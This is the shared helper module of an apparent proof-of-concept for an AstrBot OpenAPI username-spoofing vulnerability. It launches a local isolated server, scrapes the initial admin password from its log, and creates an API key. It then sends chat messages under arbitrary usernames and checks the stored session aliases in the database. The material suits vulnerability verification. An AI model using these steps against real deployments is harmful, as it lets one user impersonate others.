PoC: common.py for CVE-2026-27484-OpenAPI-Username-Spoofing

common.py

import json
import os
import re
import shutil
import signal
import sqlite3
import subprocess
import time
from pathlib import Path
from typing import Any

import requests

ROOT = Path(__file__).resolve().parent
PROJECT_ROOT = Path("/root/project/xclaw-project/AstrBot")
RUN_ROOT = ROOT / "isolated_root"
SERVER_LOG = ROOT / "server.log"
OBSERVATION_LOG = ROOT / "observation.log"
PORT = 6186
BASE_URL = f"http://127.0.0.1:{PORT}"


class VerificationError(Exception):
    pass


def reset_run_root() -> None:
    if RUN_ROOT.exists():
        shutil.rmtree(RUN_ROOT)
    RUN_ROOT.mkdir(parents=True, exist_ok=True)


def append_observation(title: str, content: str) -> None:
    OBSERVATION_LOG.parent.mkdir(parents=True, exist_ok=True)
    with OBSERVATION_LOG.open("a", encoding="utf-8") as handle:
        handle.write(f"## {title}\n{content.rstrip()}\n\n")


def wait_for_server(timeout: float = 180.0) -> None:
    deadline = time.time() + timeout
    last_error = None
    while time.time() < deadline:
        try:
            resp = requests.get(f"{BASE_URL}/api/auth/setup-status", timeout=2)
            if resp.ok:
                return
            last_error = f"status={resp.status_code} body={resp.text[:200]}"
        except Exception as exc:  # noqa: BLE001
            last_error = str(exc)
        time.sleep(1)
    raise VerificationError(f"Server did not become ready: {last_error}")


def start_server() -> subprocess.Popen:
    env = os.environ.copy()
    env.update(
        {
            "ASTRBOT_ROOT": str(RUN_ROOT),
            "DASHBOARD_HOST": "127.0.0.1",
            "DASHBOARD_PORT": str(PORT),
            "ASTRBOT_DASHBOARD_SKIP_DEFAULT_PASSWORD_AUTH": "true",
            "PYTHONUNBUFFERED": "1",
        }
    )
    SERVER_LOG.parent.mkdir(parents=True, exist_ok=True)
    log_handle = SERVER_LOG.open("w", encoding="utf-8")
    proc = subprocess.Popen(
        ["uv", "run", "main.py"],
        cwd=PROJECT_ROOT,
        env=env,
        stdout=log_handle,
        stderr=subprocess.STDOUT,
        start_new_session=True,
    )
    try:
        wait_for_server()
    except Exception:
        terminate_server(proc)
        raise
    return proc


def terminate_server(proc: subprocess.Popen | None) -> None:
    if proc is None or proc.poll() is not None:
        return
    try:
        os.killpg(proc.pid, signal.SIGTERM)
        proc.wait(timeout=15)
    except Exception:  # noqa: BLE001
        try:
            os.killpg(proc.pid, signal.SIGKILL)
        except Exception:
            pass


def request_json(
    method: str,
    path: str,
    *,
    session: requests.Session | None = None,
    headers: dict[str, str] | None = None,
    json_body: dict[str, Any] | None = None,
    expected_status: int = 200,
) -> Any:
    client = session or requests
    resp = client.request(
        method,
        f"{BASE_URL}{path}",
        headers=headers,
        json=json_body,
        timeout=30,
    )
    if resp.status_code != expected_status:
        raise VerificationError(
            f"{method} {path} expected {expected_status}, got {resp.status_code}: {resp.text[:500]}"
        )
    return resp.json()


def extract_initial_password() -> str:
    deadline = time.time() + 90
    while time.time() < deadline:
        content = SERVER_LOG.read_text(encoding="utf-8", errors="ignore")
        match = re.search(r"Initial password:\s*([^\s]+)", content)
        if match:
            return match.group(1)
        time.sleep(1)
    raise VerificationError(
        "Failed to extract initial dashboard password from server log"
    )


def login_dashboard(session: requests.Session) -> str:
    password = extract_initial_password()
    payload = request_json(
        "POST",
        "/api/auth/login",
        session=session,
        json_body={"username": "astrbot", "password": password},
    )
    token = payload.get("data", {}).get("token")
    if not isinstance(token, str) or not token:
        raise VerificationError(f"Dashboard login token missing: {payload}")
    return token


def create_api_key(session: requests.Session, dashboard_token: str) -> str:
    payload = request_json(
        "POST",
        "/api/apikey/create",
        session=session,
        headers={"Authorization": f"Bearer {dashboard_token}"},
        json_body={"name": "verify-chat-key", "scopes": ["chat"]},
    )
    key = payload.get("data", {}).get("api_key")
    if not isinstance(key, str) or not key:
        raise VerificationError(f"API key missing in response: {payload}")
    return key


def consume_sse_response(resp: requests.Response) -> list[dict[str, Any]]:
    events: list[dict[str, Any]] = []
    for raw_line in resp.iter_lines(decode_unicode=False):
        if not raw_line or not raw_line.startswith(b"data: "):
            continue
        raw_json = raw_line[6:].decode("utf-8", errors="replace")
        try:
            events.append(json.loads(raw_json))
        except json.JSONDecodeError:
            continue
    return events


def send_chat(
    api_key: str, username: str, message: str, session_id: str
) -> list[dict[str, Any]]:
    with requests.post(
        f"{BASE_URL}/api/v1/chat",
        headers={"X-API-Key": api_key},
        json={
            "username": username,
            "session_id": session_id,
            "message": message,
            "enable_streaming": True,
        },
        timeout=60,
        stream=True,
    ) as resp:
        if resp.status_code != 200:
            raise VerificationError(
                f"chat failed for username={username}: {resp.status_code} {resp.text[:500]}"
            )
        return consume_sse_response(resp)


def extract_plain_text(events: list[dict[str, Any]]) -> str:
    parts: list[str] = []
    for event in events:
        if event.get("type") == "plain" and isinstance(event.get("data"), str):
            parts.append(event["data"])
    return "".join(parts)


def server_log_contains(text: str) -> bool:
    return text in SERVER_LOG.read_text(encoding="utf-8", errors="ignore")


def fetch_alias(session_id: str) -> dict[str, str] | None:
    db_path = RUN_ROOT / "data" / "data_v4.db"
    if not db_path.exists():
        raise VerificationError(f"Database not found: {db_path}")

    umo = f"webchat:FriendMessage:webchat!astrbot!{session_id}"
    conn = sqlite3.connect(db_path)
    conn.row_factory = sqlite3.Row
    try:
        row = conn.execute(
            """
            SELECT umo, creator_sender_id, auto_name, user_alias
            FROM umo_aliases
            WHERE umo = ?
            """,
            (umo,),
        ).fetchone()
    finally:
        conn.close()

    if row is None:
        return None
    return {
        "umo": str(row["umo"]),
        "creator_sender_id": str(row["creator_sender_id"]),
        "auto_name": str(row["auto_name"] or ""),
        "user_alias": str(row["user_alias"] or ""),
    }